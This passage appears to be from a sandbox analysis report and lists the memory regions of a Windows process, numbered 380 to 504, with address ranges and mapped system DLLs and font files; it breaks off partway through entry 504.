"\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 380 start_va = 0x73910000 end_va = 0x7394afff monitored = 0 entry_point = 0x7391128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 381 start_va = 0x4240000 end_va = 0x42c1fff monitored = 0 entry_point = 0x42419a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 382 start_va = 0x4240000 end_va = 0x42c1fff monitored = 0 entry_point = 0x42419a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 383 start_va = 0x71e30000 end_va = 0x71eb3fff monitored = 0 entry_point = 0x71e319a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 384 start_va = 0x2b0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 385 start_va = 0x71ca0000 end_va = 0x71e2ffff monitored = 0 entry_point = 0x71d3d026 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll") Region: id = 386 start_va = 0x3f0000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 387 start_va = 0x460000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 388 start_va = 0x42b0000 end_va = 0x42effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042b0000" filename = "" Region: id = 389 start_va = 0x4d90000 end_va = 0x4e8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d90000" filename = "" Region: id = 390 start_va = 0x72370000 end_va = 0x72374fff monitored = 0 entry_point = 0x723711d0 region_type = mapped_file name = "shfolder.dll" filename = "\\Windows\\SysWOW64\\shfolder.dll" (normalized: "c:\\windows\\syswow64\\shfolder.dll") Region: id = 391 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 392 start_va = 0x2b0000 end_va = 0x2b2fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "gdipfontcachev1.dat" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\gdipfontcachev1.dat") Region: id = 393 start_va = 0x2c0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 394 start_va = 0x2d0000 end_va = 0x2d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "marlett.ttf" filename = "\\Windows\\Fonts\\marlett.ttf" (normalized: "c:\\windows\\fonts\\marlett.ttf") Region: id = 395 start_va = 0x2d0000 end_va = 0x2d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "marlett.ttf" filename = "\\Windows\\Fonts\\marlett.ttf" (normalized: "c:\\windows\\fonts\\marlett.ttf") Region: id = 396 start_va = 0x4bf0000 end_va = 0x4cacfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arial.ttf" filename = "\\Windows\\Fonts\\arial.ttf" (normalized: "c:\\windows\\fonts\\arial.ttf") Region: id = 397 start_va = 0x4bf0000 end_va = 0x4cacfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arial.ttf" filename = "\\Windows\\Fonts\\arial.ttf" (normalized: "c:\\windows\\fonts\\arial.ttf") Region: id = 398 start_va = 0x4e90000 end_va = 0x4f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e90000" filename = "" Region: id = 399 start_va = 0x4b20000 end_va = 0x4ba7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ariali.ttf" filename = "\\Windows\\Fonts\\ariali.ttf" (normalized: "c:\\windows\\fonts\\ariali.ttf") Region: id = 400 start_va = 0x4bb0000 end_va = 0x4beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004bb0000" filename = "" Region: id = 401 start_va = 0x4b20000 end_va = 0x4ba7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ariali.ttf" filename = "\\Windows\\Fonts\\ariali.ttf" (normalized: "c:\\windows\\fonts\\ariali.ttf") Region: id = 402 start_va = 0x4bf0000 end_va = 0x4ca6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialbd.ttf" filename = "\\Windows\\Fonts\\arialbd.ttf" (normalized: "c:\\windows\\fonts\\arialbd.ttf") Region: id = 403 start_va = 0x4bf0000 end_va = 0x4ca6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialbd.ttf" filename = "\\Windows\\Fonts\\arialbd.ttf" (normalized: "c:\\windows\\fonts\\arialbd.ttf") Region: id = 404 start_va = 0x4b20000 end_va = 0x4ba9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialbi.ttf" filename = "\\Windows\\Fonts\\arialbi.ttf" (normalized: "c:\\windows\\fonts\\arialbi.ttf") Region: id = 405 start_va = 0x4b20000 end_va = 0x4ba9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialbi.ttf" filename = "\\Windows\\Fonts\\arialbi.ttf" (normalized: "c:\\windows\\fonts\\arialbi.ttf") Region: id = 406 start_va = 0x4f90000 end_va = 0x5f12fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "batang.ttc" filename = "\\Windows\\Fonts\\batang.ttc" (normalized: "c:\\windows\\fonts\\batang.ttc") Region: id = 407 start_va = 0x4f90000 end_va = 0x5f12fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "batang.ttc" filename = "\\Windows\\Fonts\\batang.ttc" (normalized: "c:\\windows\\fonts\\batang.ttc") Region: id = 408 start_va = 0x4f90000 end_va = 0x5f12fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "batang.ttc" filename = "\\Windows\\Fonts\\batang.ttc" (normalized: "c:\\windows\\fonts\\batang.ttc") Region: id = 409 start_va = 0x5f20000 end_va = 0x611ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f20000" filename = "" Region: id = 410 start_va = 0x4f90000 end_va = 0x5f12fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "batang.ttc" filename = "\\Windows\\Fonts\\batang.ttc" (normalized: "c:\\windows\\fonts\\batang.ttc") Region: id = 411 start_va = 0x4f90000 end_va = 0x5f12fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "batang.ttc" filename = "\\Windows\\Fonts\\batang.ttc" (normalized: "c:\\windows\\fonts\\batang.ttc") Region: id = 412 start_va = 0x4bf0000 end_va = 0x4c9dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cour.ttf" filename = "\\Windows\\Fonts\\cour.ttf" (normalized: "c:\\windows\\fonts\\cour.ttf") Region: id = 413 start_va = 0x4bf0000 end_va = 0x4c9dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cour.ttf" filename = "\\Windows\\Fonts\\cour.ttf" (normalized: "c:\\windows\\fonts\\cour.ttf") Region: id = 414 start_va = 0x4bf0000 end_va = 0x4c86fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "couri.ttf" filename = "\\Windows\\Fonts\\couri.ttf" (normalized: "c:\\windows\\fonts\\couri.ttf") Region: id = 415 start_va = 0x4bf0000 end_va = 0x4c86fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "couri.ttf" filename = "\\Windows\\Fonts\\couri.ttf" (normalized: "c:\\windows\\fonts\\couri.ttf") Region: id = 416 start_va = 0x4bf0000 end_va = 0x4c9dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "courbd.ttf" filename = "\\Windows\\Fonts\\courbd.ttf" (normalized: "c:\\windows\\fonts\\courbd.ttf") Region: id = 417 start_va = 0x4bf0000 end_va = 0x4c9dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "courbd.ttf" filename = "\\Windows\\Fonts\\courbd.ttf" (normalized: "c:\\windows\\fonts\\courbd.ttf") Region: id = 418 start_va = 0x4b20000 end_va = 0x4ba1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "courbi.ttf" filename = "\\Windows\\Fonts\\courbi.ttf" (normalized: "c:\\windows\\fonts\\courbi.ttf") Region: id = 419 start_va = 0x4b20000 end_va = 0x4ba1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "courbi.ttf" filename = "\\Windows\\Fonts\\courbi.ttf" (normalized: "c:\\windows\\fonts\\courbi.ttf") Region: id = 420 start_va = 0x3f0000 end_va = 0x41efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "daunpenh.ttf" filename = "\\Windows\\Fonts\\daunpenh.ttf" (normalized: "c:\\windows\\fonts\\daunpenh.ttf") Region: id = 421 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 422 start_va = 0x3f0000 end_va = 0x41efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "daunpenh.ttf" filename = "\\Windows\\Fonts\\daunpenh.ttf" (normalized: "c:\\windows\\fonts\\daunpenh.ttf") Region: id = 423 start_va = 0x3f0000 end_va = 0x414fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dokchamp.ttf" filename = "\\Windows\\Fonts\\dokchamp.ttf" (normalized: "c:\\windows\\fonts\\dokchamp.ttf") Region: id = 424 start_va = 0x3f0000 end_va = 0x414fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dokchamp.ttf" filename = "\\Windows\\Fonts\\dokchamp.ttf" (normalized: "c:\\windows\\fonts\\dokchamp.ttf") Region: id = 425 start_va = 0x2d0000 end_va = 0x2eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "estre.ttf" filename = "\\Windows\\Fonts\\estre.ttf" (normalized: "c:\\windows\\fonts\\estre.ttf") Region: id = 426 start_va = 0x2d0000 end_va = 0x2eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "estre.ttf" filename = "\\Windows\\Fonts\\estre.ttf" (normalized: "c:\\windows\\fonts\\estre.ttf") Region: id = 427 start_va = 0x3f0000 end_va = 0x41afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "euphemia.ttf" filename = "\\Windows\\Fonts\\euphemia.ttf" (normalized: "c:\\windows\\fonts\\euphemia.ttf") Region: id = 428 start_va = 0x3f0000 end_va = 0x41afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "euphemia.ttf" filename = "\\Windows\\Fonts\\euphemia.ttf" (normalized: "c:\\windows\\fonts\\euphemia.ttf") Region: id = 429 start_va = 0x4a0000 end_va = 0x4defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gautami.ttf" filename = "\\Windows\\Fonts\\gautami.ttf" (normalized: "c:\\windows\\fonts\\gautami.ttf") Region: id = 430 start_va = 0x4a0000 end_va = 0x4defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gautami.ttf" filename = "\\Windows\\Fonts\\gautami.ttf" (normalized: "c:\\windows\\fonts\\gautami.ttf") Region: id = 431 start_va = 0x4a0000 end_va = 0x4d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gautamib.ttf" filename = "\\Windows\\Fonts\\gautamib.ttf" (normalized: "c:\\windows\\fonts\\gautamib.ttf") Region: id = 432 start_va = 0x4a0000 end_va = 0x4d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gautamib.ttf" filename = "\\Windows\\Fonts\\gautamib.ttf" (normalized: "c:\\windows\\fonts\\gautamib.ttf") Region: id = 433 start_va = 0x620000 end_va = 0x67efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vani.ttf" filename = "\\Windows\\Fonts\\Vani.ttf" (normalized: "c:\\windows\\fonts\\vani.ttf") Region: id = 434 start_va = 0x690000 end_va = 0x6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 435 start_va = 0x620000 end_va = 0x67efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vani.ttf" filename = "\\Windows\\Fonts\\Vani.ttf" (normalized: "c:\\windows\\fonts\\vani.ttf") Region: id = 436 start_va = 0x620000 end_va = 0x67afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vanib.ttf" filename = "\\Windows\\Fonts\\Vanib.ttf" (normalized: "c:\\windows\\fonts\\vanib.ttf") Region: id = 437 start_va = 0x620000 end_va = 0x67afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vanib.ttf" filename = "\\Windows\\Fonts\\Vanib.ttf" (normalized: "c:\\windows\\fonts\\vanib.ttf") Region: id = 438 start_va = 0x4f90000 end_va = 0x5c75fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gulim.ttc" filename = "\\Windows\\Fonts\\gulim.ttc" (normalized: "c:\\windows\\fonts\\gulim.ttc") Region: id = 439 start_va = 0x4f90000 end_va = 0x5c75fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gulim.ttc" filename = "\\Windows\\Fonts\\gulim.ttc" (normalized: "c:\\windows\\fonts\\gulim.ttc") Region: id = 440 start_va = 0x4f90000 end_va = 0x5c75fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gulim.ttc" filename = "\\Windows\\Fonts\\gulim.ttc" (normalized: "c:\\windows\\fonts\\gulim.ttc") Region: id = 441 start_va = 0x4f90000 end_va = 0x5c75fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gulim.ttc" filename = "\\Windows\\Fonts\\gulim.ttc" (normalized: "c:\\windows\\fonts\\gulim.ttc") Region: id = 442 start_va = 0x6120000 end_va = 0x651ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006120000" filename = "" Region: id = 443 start_va = 0x4f90000 end_va = 0x5c75fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gulim.ttc" filename = "\\Windows\\Fonts\\gulim.ttc" (normalized: "c:\\windows\\fonts\\gulim.ttc") Region: id = 444 start_va = 0x3f0000 end_va = 0x411fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "impact.ttf" filename = "\\Windows\\Fonts\\impact.ttf" (normalized: "c:\\windows\\fonts\\impact.ttf") Region: id = 445 start_va = 0x3f0000 end_va = 0x411fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "impact.ttf" filename = "\\Windows\\Fonts\\impact.ttf" (normalized: "c:\\windows\\fonts\\impact.ttf") Region: id = 446 start_va = 0x4b20000 end_va = 0x4ba5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iskpota.ttf" filename = "\\Windows\\Fonts\\iskpota.ttf" (normalized: "c:\\windows\\fonts\\iskpota.ttf") Region: id = 447 start_va = 0x4b20000 end_va = 0x4ba5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iskpota.ttf" filename = "\\Windows\\Fonts\\iskpota.ttf" (normalized: "c:\\windows\\fonts\\iskpota.ttf") Region: id = 448 start_va = 0x620000 end_va = 0x67afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iskpotab.ttf" filename = "\\Windows\\Fonts\\iskpotab.ttf" (normalized: "c:\\windows\\fonts\\iskpotab.ttf") Region: id = 449 start_va = 0x620000 end_va = 0x67afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iskpotab.ttf" filename = "\\Windows\\Fonts\\iskpotab.ttf" (normalized: "c:\\windows\\fonts\\iskpotab.ttf") Region: id = 450 start_va = 0x4a0000 end_va = 0x4d3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kalinga.ttf" filename = "\\Windows\\Fonts\\kalinga.ttf" (normalized: "c:\\windows\\fonts\\kalinga.ttf") Region: id = 451 start_va = 0x4a0000 end_va = 0x4d3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kalinga.ttf" filename = "\\Windows\\Fonts\\kalinga.ttf" (normalized: "c:\\windows\\fonts\\kalinga.ttf") Region: id = 452 start_va = 0x4a0000 end_va = 0x4d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kalingab.ttf" filename = "\\Windows\\Fonts\\kalingab.ttf" (normalized: "c:\\windows\\fonts\\kalingab.ttf") Region: id = 453 start_va = 0x4a0000 end_va = 0x4d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kalingab.ttf" filename = "\\Windows\\Fonts\\kalingab.ttf" (normalized: "c:\\windows\\fonts\\kalingab.ttf") Region: id = 454 start_va = 0x3f0000 end_va = 0x410fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kartika.ttf" filename = "\\Windows\\Fonts\\kartika.ttf" (normalized: "c:\\windows\\fonts\\kartika.ttf") Region: id = 455 start_va = 0x3f0000 end_va = 0x410fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kartika.ttf" filename = "\\Windows\\Fonts\\kartika.ttf" (normalized: "c:\\windows\\fonts\\kartika.ttf") Region: id = 456 start_va = 0x2d0000 end_va = 0x2eefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kartikab.ttf" filename = "\\Windows\\Fonts\\kartikab.ttf" (normalized: "c:\\windows\\fonts\\kartikab.ttf") Region: id = 457 start_va = 0x2d0000 end_va = 0x2eefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kartikab.ttf" filename = "\\Windows\\Fonts\\kartikab.ttf" (normalized: "c:\\windows\\fonts\\kartikab.ttf") Region: id = 458 start_va = 0x620000 end_va = 0x670fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "khmerui.ttf" filename = "\\Windows\\Fonts\\KhmerUI.ttf" (normalized: "c:\\windows\\fonts\\khmerui.ttf") Region: id = 459 start_va = 0x620000 end_va = 0x670fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "khmerui.ttf" filename = "\\Windows\\Fonts\\KhmerUI.ttf" (normalized: "c:\\windows\\fonts\\khmerui.ttf") Region: id = 460 start_va = 0x620000 end_va = 0x660fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "khmeruib.ttf" filename = "\\Windows\\Fonts\\KhmerUIb.ttf" (normalized: "c:\\windows\\fonts\\khmeruib.ttf") Region: id = 461 start_va = 0x620000 end_va = 0x660fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "khmeruib.ttf" filename = "\\Windows\\Fonts\\KhmerUIb.ttf" (normalized: "c:\\windows\\fonts\\khmeruib.ttf") Region: id = 462 start_va = 0x2d0000 end_va = 0x2e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "laoui.ttf" filename = "\\Windows\\Fonts\\LaoUI.ttf" (normalized: "c:\\windows\\fonts\\laoui.ttf") Region: id = 463 start_va = 0x2d0000 end_va = 0x2e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "laoui.ttf" filename = "\\Windows\\Fonts\\LaoUI.ttf" (normalized: "c:\\windows\\fonts\\laoui.ttf") Region: id = 464 start_va = 0x2d0000 end_va = 0x2e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "laouib.ttf" filename = "\\Windows\\Fonts\\LaoUIb.ttf" (normalized: "c:\\windows\\fonts\\laouib.ttf") Region: id = 465 start_va = 0x2d0000 end_va = 0x2e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "laouib.ttf" filename = "\\Windows\\Fonts\\LaoUIb.ttf" (normalized: "c:\\windows\\fonts\\laouib.ttf") Region: id = 466 start_va = 0x2d0000 end_va = 0x2edfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "latha.ttf" filename = "\\Windows\\Fonts\\latha.ttf" (normalized: "c:\\windows\\fonts\\latha.ttf") Region: id = 467 start_va = 0x2d0000 end_va = 0x2edfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "latha.ttf" filename = "\\Windows\\Fonts\\latha.ttf" (normalized: "c:\\windows\\fonts\\latha.ttf") Region: id = 468 start_va = 0x2d0000 end_va = 0x2edfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lathab.ttf" filename = "\\Windows\\Fonts\\lathab.ttf" (normalized: "c:\\windows\\fonts\\lathab.ttf") Region: id = 469 start_va = 0x2d0000 end_va = 0x2edfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lathab.ttf" filename = "\\Windows\\Fonts\\lathab.ttf" (normalized: "c:\\windows\\fonts\\lathab.ttf") Region: id = 470 start_va = 0x2d0000 end_va = 0x2ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lucon.ttf" filename = "\\Windows\\Fonts\\lucon.ttf" (normalized: "c:\\windows\\fonts\\lucon.ttf") Region: id = 471 start_va = 0x2d0000 end_va = 0x2ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lucon.ttf" filename = "\\Windows\\Fonts\\lucon.ttf" (normalized: "c:\\windows\\fonts\\lucon.ttf") Region: id = 472 start_va = 0x4f90000 end_va = 0x53b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "malgun.ttf" filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf") Region: id = 473 start_va = 0x4f90000 end_va = 0x53b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "malgun.ttf" filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf") Region: id = 474 start_va = 0x4f90000 end_va = 0x53defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "malgunbd.ttf" filename = "\\Windows\\Fonts\\malgunbd.ttf" (normalized: "c:\\windows\\fonts\\malgunbd.ttf") Region: id = 475 start_va = 0x4f90000 end_va = 0x53defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "malgunbd.ttf" filename = "\\Windows\\Fonts\\malgunbd.ttf" (normalized: "c:\\windows\\fonts\\malgunbd.ttf") Region: id = 476 start_va = 0x4a0000 end_va = 0x4d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mangal.ttf" filename = "\\Windows\\Fonts\\mangal.ttf" (normalized: "c:\\windows\\fonts\\mangal.ttf") Region: id = 477 start_va = 0x4a0000 end_va = 0x4d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mangal.ttf" filename = "\\Windows\\Fonts\\mangal.ttf" (normalized: "c:\\windows\\fonts\\mangal.ttf") Region: id = 478 start_va = 0x3f0000 end_va = 0x41efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mangalb.ttf" filename = "\\Windows\\Fonts\\mangalb.ttf" (normalized: "c:\\windows\\fonts\\mangalb.ttf") Region: id = 479 start_va = 0x3f0000 end_va = 0x41efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mangalb.ttf" filename = "\\Windows\\Fonts\\mangalb.ttf" (normalized: "c:\\windows\\fonts\\mangalb.ttf") Region: id = 480 start_va = 0x4f90000 end_va = 0x58a7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryo.ttc" filename = "\\Windows\\Fonts\\meiryo.ttc" (normalized: "c:\\windows\\fonts\\meiryo.ttc") Region: id = 481 start_va = 0x4f90000 end_va = 0x58a7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryo.ttc" filename = "\\Windows\\Fonts\\meiryo.ttc" (normalized: "c:\\windows\\fonts\\meiryo.ttc") Region: id = 482 start_va = 0x4f90000 end_va = 0x58a7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryo.ttc" filename = "\\Windows\\Fonts\\meiryo.ttc" (normalized: "c:\\windows\\fonts\\meiryo.ttc") Region: id = 483 start_va = 0x4f90000 end_va = 0x58a7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryo.ttc" filename = "\\Windows\\Fonts\\meiryo.ttc" (normalized: "c:\\windows\\fonts\\meiryo.ttc") Region: id = 484 start_va = 0x4f90000 end_va = 0x58a7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryo.ttc" filename = "\\Windows\\Fonts\\meiryo.ttc" (normalized: "c:\\windows\\fonts\\meiryo.ttc") Region: id = 485 start_va = 0x4f90000 end_va = 0x58dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryob.ttc" filename = "\\Windows\\Fonts\\meiryob.ttc" (normalized: "c:\\windows\\fonts\\meiryob.ttc") Region: id = 486 start_va = 0x4f90000 end_va = 0x58dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryob.ttc" filename = "\\Windows\\Fonts\\meiryob.ttc" (normalized: "c:\\windows\\fonts\\meiryob.ttc") Region: id = 487 start_va = 0x4f90000 end_va = 0x58dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryob.ttc" filename = "\\Windows\\Fonts\\meiryob.ttc" (normalized: "c:\\windows\\fonts\\meiryob.ttc") Region: id = 488 start_va = 0x4f90000 end_va = 0x58dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryob.ttc" filename = "\\Windows\\Fonts\\meiryob.ttc" (normalized: "c:\\windows\\fonts\\meiryob.ttc") Region: id = 489 start_va = 0x4f90000 end_va = 0x58dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryob.ttc" filename = "\\Windows\\Fonts\\meiryob.ttc" (normalized: "c:\\windows\\fonts\\meiryob.ttc") Region: id = 490 start_va = 0x6520000 end_va = 0x6d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006520000" filename = "" Region: id = 491 start_va = 0x4bf0000 end_va = 0x4c84fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "himalaya.ttf" filename = "\\Windows\\Fonts\\himalaya.ttf" (normalized: "c:\\windows\\fonts\\himalaya.ttf") Region: id = 492 start_va = 0x4bf0000 end_va = 0x4c84fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "himalaya.ttf" filename = "\\Windows\\Fonts\\himalaya.ttf" (normalized: "c:\\windows\\fonts\\himalaya.ttf") Region: id = 493 start_va = 0x6d20000 end_va = 0x81c8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjh.ttf" filename = "\\Windows\\Fonts\\msjh.ttf" (normalized: "c:\\windows\\fonts\\msjh.ttf") Region: id = 494 start_va = 0x6d20000 end_va = 0x81c8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjh.ttf" filename = "\\Windows\\Fonts\\msjh.ttf" (normalized: "c:\\windows\\fonts\\msjh.ttf") Region: id = 495 start_va = 0x4f90000 end_va = 0x5d66fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjhbd.ttf" filename = "\\Windows\\Fonts\\msjhbd.ttf" (normalized: "c:\\windows\\fonts\\msjhbd.ttf") Region: id = 496 start_va = 0x4f90000 end_va = 0x5d66fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjhbd.ttf" filename = "\\Windows\\Fonts\\msjhbd.ttf" (normalized: "c:\\windows\\fonts\\msjhbd.ttf") Region: id = 497 start_va = 0x6d20000 end_va = 0x81e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyh.ttf" filename = "\\Windows\\Fonts\\msyh.ttf" (normalized: "c:\\windows\\fonts\\msyh.ttf") Region: id = 498 start_va = 0x6d20000 end_va = 0x81e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyh.ttf" filename = "\\Windows\\Fonts\\msyh.ttf" (normalized: "c:\\windows\\fonts\\msyh.ttf") Region: id = 499 start_va = 0x4f90000 end_va = 0x5d7dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyhbd.ttf" filename = "\\Windows\\Fonts\\msyhbd.ttf" (normalized: "c:\\windows\\fonts\\msyhbd.ttf") Region: id = 500 start_va = 0x4f90000 end_va = 0x5d7dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyhbd.ttf" filename = "\\Windows\\Fonts\\msyhbd.ttf" (normalized: "c:\\windows\\fonts\\msyhbd.ttf") Region: id = 501 start_va = 0x6d20000 end_va = 0x8bd9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliu.ttc" filename = "\\Windows\\Fonts\\mingliu.ttc" (normalized: "c:\\windows\\fonts\\mingliu.ttc") Region: id = 502 start_va = 0x6d20000 end_va = 0x8bd9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliu.ttc" filename = "\\Windows\\Fonts\\mingliu.ttc" (normalized: "c:\\windows\\fonts\\mingliu.ttc") Region: id = 503 start_va = 0x6d20000 end_va = 0x8bd9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliu.ttc" filename = "\\Windows\\Fonts\\mingliu.ttc" (normalized: "c:\\windows\\fonts\\mingliu.ttc") Region: id = 504 start_va = 0x6d20000 end_va = 0x8bd9fff 